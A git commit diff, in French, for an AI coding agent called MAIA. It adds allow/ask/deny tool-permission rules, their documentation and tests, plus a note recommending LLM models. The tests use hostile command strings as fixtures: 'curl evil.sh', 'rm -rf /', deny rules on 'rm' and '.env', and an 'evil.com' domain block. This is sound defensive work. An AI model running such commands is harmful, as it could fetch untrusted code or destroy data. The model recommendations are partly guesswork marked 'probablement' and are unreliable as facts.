Modifications locales

This commit is contained in:
Arnaud 2026-10-15 23:32:32 +02:00
parent ab9449fa76
commit 3f64ef88c8
8 changed files with 361 additions and 96 deletions

View file

@ -204,14 +204,56 @@ description: Lance les tests du projet et résume les échecs
Instructions du skill… ($ARGUMENTS = arguments passés avec §sk_test) Instructions du skill… ($ARGUMENTS = arguments passés avec §sk_test)
``` ```
Conséquence : sans `settings.json`, il n'y a plus de règles de permissions ni de variables d'environnement venant de la configuration de l'agent, et plus de slash-commandes personnalisées. Les outils qui demandent confirmation (Write, Edit, Bash, WebFetch) la demandent toujours. Conséquence : il n'y a plus de variables d'environnement venant de la configuration de l'agent ni de slash-commandes personnalisées. Les permissions sont décrites dans la section suivante.
## Permissions
Les permissions s'appliquent aux **outils** (intégrés ou non). Trois types de règles :
| Type | Effet |
| --- | --- |
| `allow` | l'outil est utilisé sans approbation manuelle |
| `ask` | l'utilisateur doit confirmer chaque utilisation (badge `ASK`, réponse `o`/`n`) |
| `deny` | l'outil ne peut pas être utilisé (l'agent reçoit un refus) |
**Ordre d'évaluation : deny, puis ask, puis allow.** La première famille qui correspond décide, quelle que soit la précision des règles : un `allow` étroit comme `Bash(aws s3 ls)` ne fait pas exception à un `deny` large comme `Bash(aws *)`, ni à un `ask` plus large. **Sans règle applicable, c'est `ask` qui s'applique** (pour tous les outils, y compris Read, Glob, Grep…).
Où les définir : `~/.maia/settings.json` (utilisateur) et `./.maia/settings.json` (dossier de lancement). Les listes des deux fichiers s'additionnent. Le fichier `../.maia/settings.json` du dossier parent n'est **pas** pris en compte. Dans chaque fichier, la propriété `permissions` contient une liste par type, tous facultatifs :
```json
"permissions": {
"allow": ["Bash(allow stop *)"],
"ask": ["Bash(allow ask *)"],
"deny": ["Bash(allow deny *)", "Read(./.deny.md)"]
}
```
Format d'une règle : `Outil` (tous les appels de l'outil) ou `Outil(motif)` :
| Outil | Le motif porte sur | Exemples |
| --- | --- | --- |
| `Bash` | la commande ; `*` = n'importe quelle suite ; `cmd *` couvre `cmd` avec ou sans arguments (mais pas `cmdx`) ; sans `*` : commande exacte | `Bash(allow stop *)`, `Bash(git status)`, `Bash(npm run test:*)` |
| `Read`, `Write`, `Edit`, `Glob`, `Grep` | le chemin (relatif au dossier de lancement, motifs glob) | `Read(./.deny.md)`, `Edit(src/**)` |
| `WebFetch` | le domaine | `WebFetch(domain:docs.example.com)`, `WebFetch(domain:*.example.org)` |
| `Skill` | le nom du skill | `Skill(pdf)` |
| autres outils (ex. ajoutés plus tard) | une valeur texte de l'entrée de l'outil (`*` accepté) | `mcp__db__query(SELECT *)` |
Précisions sur `Bash` :
- commande composée (`&&`, `;`, `|`) : un `deny` ou un `ask` s'applique dès qu'**une** des parties correspond, y compris cachée dans `$(…)`, des backticks ou des parenthèses ; un `allow` ne s'applique que si **toutes** les parties sont couvertes ;
- un `allow` ne couvre jamais une commande avec redirection (`>`) ou substitution (`$(…)`, backticks) : elle repasse en `ask`.
Au démarrage, MAIA indique (`INFO`) les fichiers chargés et le nombre de règles, ou qu'aucune règle n'est définie ; un JSON invalide ou une règle mal formée donne un `WARN` et est ignoré. Les `deny` sont du « meilleur effort » : ils ne remplacent pas un vrai bac à sable. Les commandes `!` et les références `@fichier` tapées par l'utilisateur ne passent pas par ces règles.
Attention : `./.maia/settings.json` d'un dépôt tiers peut contenir des règles `allow` larges ; relisez-le avant de lancer MAIA dans un projet que vous ne connaissez pas.
Exemple pour éviter les confirmations sur les outils en lecture seule : voir `settings.example.json`.
## Outils TodoWrite, WebFetch et CurrentModel ## Outils TodoWrite, WebFetch et CurrentModel
- **TodoWrite** : liste de tâches de la session (`pending` / `in_progress` / `completed`, forme `activeForm` pour la tâche en cours). Chaque appel remplace la liste ; le résultat (☐ ▶ ☑) est affiché à l'utilisateur et renvoyé au modèle. Un avertissement est ajouté si plusieurs tâches sont « en cours ». - **TodoWrite** : liste de tâches de la session (`pending` / `in_progress` / `completed`, forme `activeForm` pour la tâche en cours). Chaque appel remplace la liste ; le résultat (☐ ▶ ☑) est affiché à l'utilisateur et renvoyé au modèle. Un avertissement est ajouté si plusieurs tâches sont « en cours ».
- **CurrentModel** : renvoie le modèle LLM utilisé par la session (valeur à jour après un `/model`). Sans paramètre, sans confirmation ; le modèle est lu au moment de l'appel. - **CurrentModel** : renvoie le modèle LLM utilisé par la session (valeur à jour après un `/model`). Sans paramètre, sans confirmation ; le modèle est lu au moment de l'appel.
- **WebFetch** : télécharge une URL http(s) (HTML converti en Markdown avec `turndown`, JSON mis en forme, texte brut ; 5 Mo et 30 s maximum, `max_length` caractères renvoyés). Pas de JavaScript exécuté, pas de PDF ni d'images. - **WebFetch** : télécharge une URL http(s) (HTML converti en Markdown avec `turndown`, JSON mis en forme, texte brut ; 5 Mo et 30 s maximum, `max_length` caractères renvoyés). Pas de JavaScript exécuté, pas de PDF ni d'images.
- Confirmation demandée à chaque appel (les règles de permissions de l'ancien `settings.json` ne sont plus lues). - Confirmation demandée par défaut ; règle `allow` possible : `WebFetch(domain:docs.example.com)` (voir « Permissions »).
- Une redirection vers un **autre domaine** n'est pas suivie : l'outil renvoie la nouvelle URL, que le modèle doit rappeler (ce qui repasse par la confirmation). - Une redirection vers un **autre domaine** n'est pas suivie : l'outil renvoie la nouvelle URL, que le modèle doit rappeler (ce qui repasse par la confirmation).
- Le contenu est signalé au modèle comme non fiable (risque d'injection de prompt) ; il ne passe par aucun second modèle de résumé. - Le contenu est signalé au modèle comme non fiable (risque d'injection de prompt) ; il ne passe par aucun second modèle de résumé.
@ -219,7 +261,7 @@ Conséquence : sans `settings.json`, il n'y a plus de règles de permissions ni
- Provider LiteLLM : validation sur un vrai serveur (streaming SSE et appels d'outils testés seulement sur des flux simulés) ; compatibilité de `@inkjs/ui` avec Ink 7 à confirmer à l'usage (l'affichage des badges a été vu fonctionner par l'utilisateur). - Provider LiteLLM : validation sur un vrai serveur (streaming SSE et appels d'outils testés seulement sur des flux simulés) ; compatibilité de `@inkjs/ui` avec Ink 7 à confirmer à l'usage (l'affichage des badges a été vu fonctionner par l'utilisateur).
- Agent : sous-agents + outil Task, hooks, serveurs MCP. - Agent : sous-agents + outil Task, hooks, serveurs MCP.
- Éventuellement rétablir sous `.maia` ce que supprimait l'abandon de `.claude` : règles de permissions, variables d'environnement, slash-commandes personnalisées (le code existe encore dans `packages/agent/src/{permissions,settings,commands}.ts`, il n'est plus appelé). - Éventuellement rétablir sous `.maia` ce que supprimait l'abandon de `.claude` : variables d'environnement et slash-commandes personnalisées (le code des commandes existe encore dans `packages/agent/src/commands.ts`, il n'est plus appelé).
- `@fichier` dans le corps d'une commande personnalisée ; autocomplétion des chemins `@` à la saisie. - `@fichier` dans le corps d'une commande personnalisée ; autocomplétion des chemins `@` à la saisie.
- Liste à cocher (choix multiples) : n'existe pas encore ; elle recevrait le badge `ASK`. - Liste à cocher (choix multiples) : n'existe pas encore ; elle recevrait le badge `ASK`.
- Nerd Fonts (icônes) : proposé comme réglage optionnel dans `settings.json`, non réalisé. - Nerd Fonts (icônes) : proposé comme réglage optionnel dans `settings.json`, non réalisé.
@ -247,3 +289,4 @@ Journal des évolutions, dans l'ordre :
16. **Suppression des modes et des extensions** : un seul agent MAIA (`packages/agent`), contexte de départ `MAIA.md` sinon `CLAUDE.md` (message `INFO`, ou `WARN` si aucun). 16. **Suppression des modes et des extensions** : un seul agent MAIA (`packages/agent`), contexte de départ `MAIA.md` sinon `CLAUDE.md` (message `INFO`, ou `WARN` si aucun).
17. **Outil `CurrentModel`** : indique au modèle quel LLM est utilisé dans la session. 17. **Outil `CurrentModel`** : indique au modèle quel LLM est utilisé dans la session.
18. **`/clear`** : supprime le contexte et recharge `MAIA.md` / `CLAUDE.md` (et les skills) comme au démarrage ; `/new` fait de même. 18. **`/clear`** : supprime le contexte et recharge `MAIA.md` / `CLAUDE.md` (et les skills) comme au démarrage ; `/new` fait de même.
19. **Permissions granulaires** : règles `allow` / `ask` / `deny` par outil (`Outil` ou `Outil(motif)`), évaluées dans l'ordre deny > ask > allow, `ask` par défaut ; définies dans `~/.maia/settings.json` et `./.maia/settings.json` (pas le dossier parent).

44
llm_avis.md Normal file
View file

@ -0,0 +1,44 @@
# Recommandations d'utilisation des modèles LLM
## 📊 Modèles disponibles et leurs domaines de force
### **1. Claude 4.5 Haiku** (anthropic--claude-4.5-haiku)
- **Domaines forts :** Tâches rapides et légères, traitement économique
- **Avantages :** Très rapide, coût très bas, bon pour les tâches simples
- **Idéal pour :** Réponses rapides, résumés, tâches de faible complexité
### **2. Claude 4.5 Sonnet** (anthropic--claude-4.5-sonnet) ⭐ **MEILLEUR CHOIX POLYVALENT**
- **Domaines forts :**
- 🎓 Raisonnement avancé (graduées-level)
- 💻 **Codage et traduction de code** (64% de réussite en agentic coding)
- 📝 Rédaction de contenu de qualité
- 🎨 Vision/interprétation visuelle (graphiques, charts)
- 📊 Reconnaissance de texte dans les images
- **Avantages :** Meilleur rapport intelligence/coût, 2x plus rapide que les anciens modèles
- **Idéal pour :** Travail complexe, aide à la programmation, orchestration multi-étapes
### **3. GPT-4.1** (gpt-4.1)
- **Domaines forts :** Benchmark général, raisonnement, utilisation en production stable
- **Avantages :** Version légèrement améliorée de GPT-4, toujours une référence fiable
- **Idéal pour :** Tâches générales de raisonnement, code
### **4. GPT-5 Nano** (gpt-5-nano)
- **Domaines forts :** Version légère et rapide de GPT-5
- **Avantages :** Probablement plus performant que GPT-4 avec meilleur rapport latence/intelligence
- **Idéal pour :** Tâches exigeant plus de puissance que les modèles légers
### **5. GPT-6 Astra** (gpt-6-astra)
- **Domaines forts :** Modèle de pointe OpenAI (la version la plus récente/puissante)
- **Avantages :** Probablement la meilleure performance globale
- **Idéal pour :** Tâches très complexes et exigeantes, recherche, problèmes de raisonnement avancé
## 🎯 Tableau de recommandations
| Besoin | Modèle recommandé |
|--------|-------------------|
| **Codage et programmation** | Claude 4.5 Sonnet ou GPT-6 Astra |
| **Raisonnement complexe** | GPT-6 Astra ou Claude 4.5 Sonnet |
| **Rapidité et économie** | Claude 4.5 Haiku |
| **Équilibre qualité/coût** | Claude 4.5 Sonnet ✅ |
| **Production stable** | GPT-4.1 |
| **Tâches légères/rapides** | Claude 4.5 Haiku |

View file

@ -61,7 +61,7 @@ describe("contexte de départ", () => {
it("avertit (WARN) quand aucun des deux n'existe", async () => { it("avertit (WARN) quand aucun des deux n'existe", async () => {
const { logs, warns, ctx } = await setup(); const { logs, warns, ctx } = await setup();
await initializeAgent(ctx); await initializeAgent(ctx);
expect(logs).toHaveLength(0); expect(logs.filter((l) => !l.includes("permission"))).toHaveLength(0);
expect(warns).toHaveLength(1); expect(warns).toHaveLength(1);
expect(warns[0]).toContain("MAIA.md ou CLAUDE.md"); expect(warns[0]).toContain("MAIA.md ou CLAUDE.md");
}); });
@ -78,6 +78,33 @@ describe("contexte de départ", () => {
}); });
}); });
describe("permissions au démarrage", () => {
it("sans règle : tout demande confirmation, et l'utilisateur en est informé", async () => {
const { project, logs, ctx } = await setup();
await writeFile(join(project, "MAIA.md"), "x");
const init = await initializeAgent(ctx);
expect(init.permissions?.check("Read", { path: "a" }, { cwd: project }).decision).toBe("ask");
expect(logs.join("\n")).toContain("Aucune règle de permission");
});
it("règles du dossier de lancement appliquées et listées", async () => {
const { project, logs, ctx } = await setup();
await mkdir(join(project, ".maia"), { recursive: true });
await writeFile(
join(project, ".maia", "settings.json"),
JSON.stringify({ permissions: { allow: ["Bash(allow stop *)"], ask: ["Bash(allow ask *)"], deny: ["Bash(allow deny *)", "Read(./.deny.md)"] } }),
);
const init = await initializeAgent(ctx);
const d = (t: string, i: Record<string, unknown>) => init.permissions?.check(t, i, { cwd: project }).decision;
expect(d("Bash", { command: "allow stop" })).toBe("allow");
expect(d("Bash", { command: "allow ask now" })).toBe("ask");
expect(d("Bash", { command: "allow deny" })).toBe("deny");
expect(d("Read", { path: "./.deny.md" })).toBe("deny");
expect(logs.join("\n")).toContain("Permissions chargées");
expect(logs.join("\n")).toContain("2 deny, 1 ask, 1 allow");
});
});
describe("skills .maia/skills", () => { describe("skills .maia/skills", () => {
it("dossiers explorés : utilisateur, parent, lancement (sans doublon)", async () => { it("dossiers explorés : utilisateur, parent, lancement (sans doublon)", async () => {
expect(skillRoots("/X/Y", "/home/u")).toEqual(["/home/u/.maia/skills", "/X/.maia/skills", "/X/Y/.maia/skills"]); expect(skillRoots("/X/Y", "/home/u")).toEqual(["/home/u/.maia/skills", "/X/.maia/skills", "/X/Y/.maia/skills"]);

View file

@ -1,5 +1,7 @@
import type { InitContext, ModeInitResult } from "@maia/core"; import type { InitContext, ModeInitResult } from "@maia/core";
import { loadContextFile } from "./memory"; import { loadContextFile } from "./memory";
import { createPermissionPolicy } from "./permissions";
import { loadPermissionSettings } from "./settings";
import { createSkillTool, loadSkills, skillRoots, skillsPromptSection, toAgentSkills } from "./skills"; import { createSkillTool, loadSkills, skillRoots, skillsPromptSection, toAgentSkills } from "./skills";
import { builtinTools } from "./tools"; import { builtinTools } from "./tools";
@ -38,11 +40,25 @@ export async function initializeAgent(ctx: InitContext): Promise<ModeInitResult>
for (const w of warnings) ctx.warn(w); for (const w of warnings) ctx.warn(w);
if (skills.length > 0) ctx.log(`Skills chargés : ${skills.map((s) => s.name).join(", ")}`); if (skills.length > 0) ctx.log(`Skills chargés : ${skills.map((s) => s.name).join(", ")}`);
// Permissions : ~/.maia/settings.json et ./.maia/settings.json (propriété "permissions" : allow / ask / deny)
const { settings, warnings: permWarnings } = await loadPermissionSettings(ctx.cwd, ctx.homeDir);
for (const w of permWarnings) ctx.warn(w);
const { allow, ask, deny } = settings.rules;
if (allow.length + ask.length + deny.length > 0) {
const files = settings.files
.filter((f) => f.allow + f.ask + f.deny > 0)
.map((f) => `${f.path} (${f.deny} deny, ${f.ask} ask, ${f.allow} allow)`);
ctx.log(`Permissions chargées : ${files.join(" ; ")}`);
} else {
ctx.log("Aucune règle de permission définie : chaque utilisation d'un outil demande une confirmation.");
}
// TODO : sous-agents, hooks, serveurs MCP. // TODO : sous-agents, hooks, serveurs MCP.
return { return {
systemPrompt: buildSystemPrompt(ctx.cwd, context, skillsPromptSection(skills)), systemPrompt: buildSystemPrompt(ctx.cwd, context, skillsPromptSection(skills)),
tools: skills.length > 0 ? [...builtinTools, createSkillTool(skills)] : builtinTools, tools: skills.length > 0 ? [...builtinTools, createSkillTool(skills)] : builtinTools,
commands: [], commands: [],
skills: toAgentSkills(skills), skills: toAgentSkills(skills),
permissions: createPermissionPolicy(settings.rules),
}; };
} }

View file

@ -1,7 +1,11 @@
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { describe, expect, it } from "vitest"; import { describe, expect, it } from "vitest";
import { renderCommand } from "./commands"; import { renderCommand } from "./commands";
import { parseFrontmatter } from "./frontmatter"; import { parseFrontmatter } from "./frontmatter";
import { createPermissionPolicy } from "./permissions"; import { createPermissionPolicy } from "./permissions";
import { loadPermissionSettings } from "./settings";
describe("frontmatter", () => { describe("frontmatter", () => {
it("lit les clés simples, les guillemets et les blocs >", () => { it("lit les clés simples, les guillemets et les blocs >", () => {
@ -35,44 +39,137 @@ describe("renderCommand", () => {
describe("permissions", () => { describe("permissions", () => {
const policy = createPermissionPolicy({ const policy = createPermissionPolicy({
allow: ["Bash(npm run test:*)", "Bash(git status)", "Edit(src/**)", "Read"], allow: ["Bash(allow stop *)", "Bash(git status)", "Bash(npm run test:*)", "Edit(src/**)", "Read", "Bash(aws s3 ls)"],
ask: ["Bash(git push:*)"], ask: ["Bash(allow ask *)", "Bash(git push *)", "Edit(src/secret/**)"],
deny: ["Bash(rm:*)", "Read(./.env)", "Edit(.github/**)"], deny: ["Bash(allow deny *)", "Read(./.deny.md)", "Bash(aws *)", "Edit(.github/**)"],
})!; });
const check = (tool: string, input: Record<string, unknown>) => policy.check(tool, input, { cwd: "/proj" }); const check = (tool: string, input: Record<string, unknown>) => policy.check(tool, input, { cwd: "/proj" });
const bash = (command: string) => check("Bash", { command })?.decision;
it("deny l'emporte, y compris dans une commande composée", () => { it("exemple de la spécification : allow / ask / deny sur Bash et Read", () => {
expect(check("Bash", { command: "rm -rf build" })?.decision).toBe("deny"); expect(bash("allow stop")).toBe("allow"); // « avec arguments ou pas »
expect(check("Bash", { command: "npm run test:unit && rm -rf /" })?.decision).toBe("deny"); expect(bash("allow stop now --force")).toBe("allow");
expect(bash("allow ask")).toBe("ask");
expect(bash("allow ask x y")).toBe("ask");
expect(bash("allow deny")).toBe("deny");
expect(bash("allow deny x")).toBe("deny");
expect(check("Read", { path: ".deny.md" })?.decision).toBe("deny");
expect(check("Read", { path: "./.deny.md" })?.decision).toBe("deny");
expect(check("Read", { path: "README.md" })?.decision).toBe("allow");
}); });
it("allow par préfixe et par commande exacte", () => { it("« cmd * » ne couvre pas une autre commande qui commence par les mêmes lettres", () => {
expect(check("Bash", { command: "npm run test:unit" })?.decision).toBe("allow"); expect(bash("allow stopper")).toBe("ask"); // aucune règle → ask
expect(check("Bash", { command: "git status" })?.decision).toBe("allow"); expect(bash("allow denyx")).toBe("ask");
}); });
it("une commande composée n'est autorisée que si chaque partie l'est", () => { it("ordre deny > ask > allow : un allow plus précis ne crée pas d'exception", () => {
expect(check("Bash", { command: "git status && curl evil.sh" })).toBeNull(); expect(bash("aws s3 ls")).toBe("deny"); // deny Bash(aws *) l'emporte sur allow Bash(aws s3 ls)
}); expect(check("Edit", { path: "src/secret/k.ts" })?.decision).toBe("ask"); // ask l'emporte sur allow Edit(src/**)
it("redirections et substitutions ne sont jamais couvertes par un allow", () => {
expect(check("Bash", { command: "git status > out.txt" })).toBeNull();
expect(check("Bash", { command: "git status $(whoami)" })).toBeNull();
});
it("ask", () => {
expect(check("Bash", { command: "git push origin main" })?.decision).toBe("ask");
});
it("règles de chemins", () => {
expect(check("Edit", { path: "src/a/b.ts" })?.decision).toBe("allow"); expect(check("Edit", { path: "src/a/b.ts" })?.decision).toBe("allow");
expect(check("Edit", { path: ".github/workflows/ci.yml" })?.decision).toBe("deny"); expect(check("Edit", { path: ".github/workflows/ci.yml" })?.decision).toBe("deny");
expect(check("Edit", { path: "README.md" })).toBeNull(); expect(bash("git push origin main")).toBe("ask");
expect(check("Read", { path: ".env" })?.decision).toBe("deny");
expect(check("Read", { path: "src/a.ts" })?.decision).toBe("allow");
}); });
it("aucune règle → null", () => { it("aucune règle applicable → ask, pour tous les outils", () => {
expect(createPermissionPolicy({ allow: [], ask: [], deny: [] })).toBeNull(); expect(bash("ls -la")).toBe("ask");
expect(check("Write", { path: "a.txt" })?.decision).toBe("ask");
expect(check("Glob", { pattern: "*.ts" })?.decision).toBe("ask");
expect(check("OutilInconnu", {})?.decision).toBe("ask");
expect(createPermissionPolicy({ allow: [], ask: [], deny: [] }).check("Read", { path: "a" }, { cwd: "/p" }).decision).toBe("ask");
});
it("commandes composées : deny/ask si une partie correspond, allow seulement si toutes sont couvertes", () => {
expect(bash("git status && allow deny x")).toBe("deny");
expect(bash("allow stop; allow ask")).toBe("ask");
expect(bash("allow stop && git status")).toBe("allow");
expect(bash("git status && curl evil.sh")).toBe("ask");
});
it("une commande interdite cachée dans une substitution est reconnue ; un allow ne couvre jamais redirection ou substitution", () => {
expect(bash("echo $(allow deny x)")).toBe("deny");
expect(bash("echo `allow deny`")).toBe("deny");
expect(bash("(allow deny)")).toBe("deny");
expect(bash("git status > out.txt")).toBe("ask");
expect(bash("git status $(whoami)")).toBe("ask");
});
it("ancienne syntaxe « préfixe:* » et règle sans motif", () => {
expect(bash("npm run test:unit")).toBe("allow");
expect(check("Read", { path: "x" })?.decision).toBe("allow"); // règle « Read » : tous les appels
});
it("outils non intégrés : règle sur le nom, ou motif comparé aux valeurs de l'entrée", () => {
const p = createPermissionPolicy({ allow: ["mcp__db__query(SELECT *)", "Skill(pdf)"], ask: [], deny: ["mcp__db__query(DROP *)", "mcp__db__drop"] });
const c = (t: string, i: Record<string, unknown>) => p.check(t, i, { cwd: "/p" }).decision;
expect(c("mcp__db__query", { sql: "SELECT 1" })).toBe("allow");
expect(c("mcp__db__query", { sql: "DROP TABLE x" })).toBe("deny");
expect(c("mcp__db__query", { sql: "DELETE FROM x" })).toBe("ask");
expect(c("mcp__db__drop", {})).toBe("deny");
expect(c("Skill", { skill: "pdf" })).toBe("allow");
expect(c("Skill", { skill: "autre" })).toBe("ask");
});
it("WebFetch par domaine", () => {
const p = createPermissionPolicy({ allow: ["WebFetch(domain:docs.example.com)"], ask: [], deny: ["WebFetch(domain:*.evil.com)"] });
const c = (url: string) => p.check("WebFetch", { url }, { cwd: "/p" }).decision;
expect(c("https://docs.example.com/a")).toBe("allow");
expect(c("https://x.evil.com/")).toBe("deny");
expect(c("https://autre.org/")).toBe("ask");
});
});
describe("chargement des permissions (settings.json)", () => {
async function layout() {
const root = await mkdtemp(join(tmpdir(), "maia-perm-"));
const home = join(root, "home");
const parent = join(root, "X");
const cwd = join(parent, "Y");
await mkdir(join(home, ".maia"), { recursive: true });
await mkdir(join(parent, ".maia"), { recursive: true });
await mkdir(join(cwd, ".maia"), { recursive: true });
return { home, parent, cwd };
}
it("fusionne ~/.maia/settings.json et ./.maia/settings.json ; ignore le fichier du dossier parent", async () => {
const { home, parent, cwd } = await layout();
await writeFile(join(home, ".maia", "settings.json"), JSON.stringify({ LiteLLM_URL: "http://x", permissions: { allow: ["Read"], deny: ["Bash(rm *)"] } }));
await writeFile(join(cwd, ".maia", "settings.json"), JSON.stringify({ permissions: { ask: ["Write"], allow: ["Glob"] } }));
await writeFile(join(parent, ".maia", "settings.json"), JSON.stringify({ permissions: { deny: ["Read"] } }));
const { settings, warnings } = await loadPermissionSettings(cwd, home);
expect(warnings).toEqual([]);
expect(settings.rules).toEqual({ allow: ["Read", "Glob"], ask: ["Write"], deny: ["Bash(rm *)"] });
expect(settings.files).toHaveLength(2);
});
it("les trois types sont facultatifs ; fichier absent ou sans « permissions » : aucune règle, pas d'avertissement", async () => {
const { home, cwd } = await layout();
await writeFile(join(cwd, ".maia", "settings.json"), JSON.stringify({ permissions: { deny: ["Read(./.deny.md)"] } }));
const r = await loadPermissionSettings(cwd, home);
expect(r.settings.rules).toEqual({ allow: [], ask: [], deny: ["Read(./.deny.md)"] });
expect(r.warnings).toEqual([]);
const empty = await loadPermissionSettings(join(cwd, "nulle-part"), join(home, "autre"));
expect(empty.settings.rules).toEqual({ allow: [], ask: [], deny: [] });
expect(empty.warnings).toEqual([]);
});
it("avertit en cas de JSON invalide, de propriété ou de règle invalide, et garde le reste", async () => {
const { home, cwd } = await layout();
await writeFile(join(home, ".maia", "settings.json"), "{ pas du json");
await writeFile(join(cwd, ".maia", "settings.json"), JSON.stringify({ permissions: { allow: ["Read", 42, "pas une règle("], ask: "Write" } }));
const { settings, warnings } = await loadPermissionSettings(cwd, home);
expect(settings.rules.allow).toEqual(["Read"]);
expect(warnings.some((w) => w.includes("JSON invalide"))).toBe(true);
expect(warnings.some((w) => w.includes("règle allow invalide"))).toBe(true);
expect(warnings.some((w) => w.includes("permissions.ask"))).toBe(true);
});
it("lancement depuis le dossier personnel : un seul fichier lu", async () => {
const { home } = await layout();
await writeFile(join(home, ".maia", "settings.json"), JSON.stringify({ permissions: { allow: ["Read"] } }));
const { settings } = await loadPermissionSettings(home, home);
expect(settings.files).toHaveLength(1);
}); });
}); });

View file

@ -34,16 +34,28 @@ function splitCommands(cmd: string): string[] {
.filter(Boolean); .filter(Boolean);
} }
/**
* Pour deny/ask : découpe plus fine (substitutions `$(…)`, backticks, parenthèses, redirections), afin qu'une
* commande interdite cachée dans `echo $(commande)` ou `(commande)` soit aussi reconnue.
*/
function splitForRefusal(cmd: string): string[] {
return [...splitCommands(cmd), ...cmd.split(/&&|\|\||;|\||\n|\$\(|`|<\(|\(|\)|>>?/).map((s) => s.trim()).filter(Boolean)];
}
const escapeRe = (text: string): string => text.replace(/[.+?^${}()|[\]\\]/g, "\\$&");
/**
* Motif de commande :
* - `cmd arg` : commande exacte ;
* - `cmd *` : `cmd` avec ou sans arguments (`cmd`, `cmd x y`, mais pas `cmdx`) ;
* - `*` ailleurs : n'importe quelle suite de caractères ; `cmd:*` (ancienne syntaxe) : préfixe.
*/
function matchBashSpec(spec: string, sub: string): boolean { function matchBashSpec(spec: string, sub: string): boolean {
if (spec.endsWith(":*")) return sub.startsWith(spec.slice(0, -2)); if (spec.endsWith(":*")) return sub.startsWith(spec.slice(0, -2));
if (spec.includes("*")) { const withArgs = spec.endsWith(" *");
const source = spec const base = withArgs ? spec.slice(0, -2) : spec;
.split("*") const source = base.split("*").map(escapeRe).join(".*");
.map((part) => part.replace(/[.+?^${}()|[\]\\]/g, "\\$&")) return new RegExp(`^${source}${withArgs ? "( .*)?" : ""}$`).test(sub);
.join(".*");
return new RegExp(`^${source}$`).test(sub);
}
return sub === spec;
} }
// ----- Read / Write / Edit / Glob / Grep : la spécification est un motif de chemin relatif au dossier courant // ----- Read / Write / Edit / Glob / Grep : la spécification est un motif de chemin relatif au dossier courant
@ -83,6 +95,14 @@ function matchDomainSpec(spec: string, host: string): boolean {
return new RegExp(`^${source}$`).test(host); return new RegExp(`^${source}$`).test(host);
} }
// ----- Autres outils (Skill, outils ajoutés plus tard…) : la spécification est un motif (`*`) comparé à la valeur de l'entrée
function matchGenericSpec(tool: string, spec: string, input: Record<string, unknown>): boolean {
const values = tool === "Skill" ? [input.skill] : Object.values(input);
const re = new RegExp(`^${spec.split("*").map(escapeRe).join(".*")}$`);
return values.some((v) => typeof v === "string" && re.test(v));
}
// ----- Évaluation // ----- Évaluation
/** Pour deny/ask : la règle s'applique si une partie de la commande (Bash) ou le chemin correspond. */ /** Pour deny/ask : la règle s'applique si une partie de la commande (Bash) ou le chemin correspond. */
@ -91,14 +111,14 @@ function ruleApplies(rule: Rule, tool: string, input: Record<string, unknown>, c
if (!rule.spec) return true; if (!rule.spec) return true;
if (tool === "Bash") { if (tool === "Bash") {
const cmd = typeof input.command === "string" ? input.command : ""; const cmd = typeof input.command === "string" ? input.command : "";
return splitCommands(cmd).some((sub) => matchBashSpec(rule.spec!, sub)); return splitForRefusal(cmd).some((sub) => matchBashSpec(rule.spec!, sub));
} }
if (PATH_TOOLS.has(tool)) return matchPathSpec(rule.spec, targetPath(input, cwd)); if (PATH_TOOLS.has(tool)) return matchPathSpec(rule.spec, targetPath(input, cwd));
if (tool === "WebFetch") { if (tool === "WebFetch") {
const host = hostOf(input); const host = hostOf(input);
return host !== undefined && matchDomainSpec(rule.spec, host); return host !== undefined && matchDomainSpec(rule.spec, host);
} }
return false; return matchGenericSpec(tool, rule.spec, input);
} }
/** Pour allow : TOUTES les parties d'une commande Bash doivent être couvertes (et sans redirection ni substitution). */ /** Pour allow : TOUTES les parties d'une commande Bash doivent être couvertes (et sans redirection ni substitution). */
@ -120,18 +140,19 @@ function allowApplies(rules: Rule[], tool: string, input: Record<string, unknown
const host = hostOf(input); const host = hostOf(input);
return host !== undefined && mine.some((r) => matchDomainSpec(r.spec!, host)); return host !== undefined && mine.some((r) => matchDomainSpec(r.spec!, host));
} }
return false; return mine.some((r) => matchGenericSpec(tool, r.spec!, input));
} }
/** /**
* Règles au format Claude Code : "Bash(npm run test:*)", "Edit(src/**)", "Read(./.env)", "Write". * Politique de permissions. Règles `Outil` (tous les appels) ou `Outil(motif)`, évaluées dans l'ordre
* Priorité : deny > ask > allow ; sans règle applicable → null (permission par défaut de l'outil). * deny, puis ask, puis allow : la première famille qui correspond décide, quelle que soit la précision des règles
* (un allow plus précis ne rend jamais une exception à un deny ou à un ask plus large).
* Aucune règle applicable → ask (confirmation de l'utilisateur), pour tous les outils.
*/ */
export function createPermissionPolicy(rules: PermissionRules): PermissionPolicy | null { export function createPermissionPolicy(rules: PermissionRules): PermissionPolicy {
const deny = parseRules(rules.deny); const deny = parseRules(rules.deny);
const ask = parseRules(rules.ask); const ask = parseRules(rules.ask);
const allow = parseRules(rules.allow); const allow = parseRules(rules.allow);
if (deny.length + ask.length + allow.length === 0) return null;
return { return {
check(tool, input, { cwd }) { check(tool, input, { cwd }) {
@ -140,7 +161,7 @@ export function createPermissionPolicy(rules: PermissionRules): PermissionPolicy
const a = ask.find((r) => ruleApplies(r, tool, input, cwd)); const a = ask.find((r) => ruleApplies(r, tool, input, cwd));
if (a) return { decision: "ask", reason: `règle ask ${a.raw}` }; if (a) return { decision: "ask", reason: `règle ask ${a.raw}` };
if (allowApplies(allow, tool, input, cwd)) return { decision: "allow" }; if (allowApplies(allow, tool, input, cwd)) return { decision: "allow" };
return null; return { decision: "ask", reason: "aucune règle : confirmation demandée par défaut" };
}, },
}; };
} }

View file

@ -1,71 +1,83 @@
import { readFile } from "node:fs/promises"; import { readFile } from "node:fs/promises";
import { join } from "node:path"; import { join, resolve } from "node:path";
export interface PermissionRules { export interface PermissionRules {
allow: string[]; allow: string[];
deny: string[];
ask: string[]; ask: string[];
deny: string[];
} }
export interface ClaudeSettings { export interface PermissionSettings {
permissions: PermissionRules; rules: PermissionRules;
env: Record<string, string>; /** Fichiers settings.json réellement lus, avec le nombre de règles qu'ils apportent. */
/** Fichiers settings réellement lus. */ files: { path: string; allow: number; ask: number; deny: number }[];
files: string[];
} }
const SETTINGS_FILES = ["settings.json", "settings.local.json"]; const KINDS = ["allow", "ask", "deny"] as const;
/** Syntaxe d'une règle : `Outil` ou `Outil(spécification)`. */
export const RULE_SYNTAX = /^([A-Za-z0-9_.-]+)(?:\((.*)\))?$/s;
function strings(v: unknown): string[] { /**
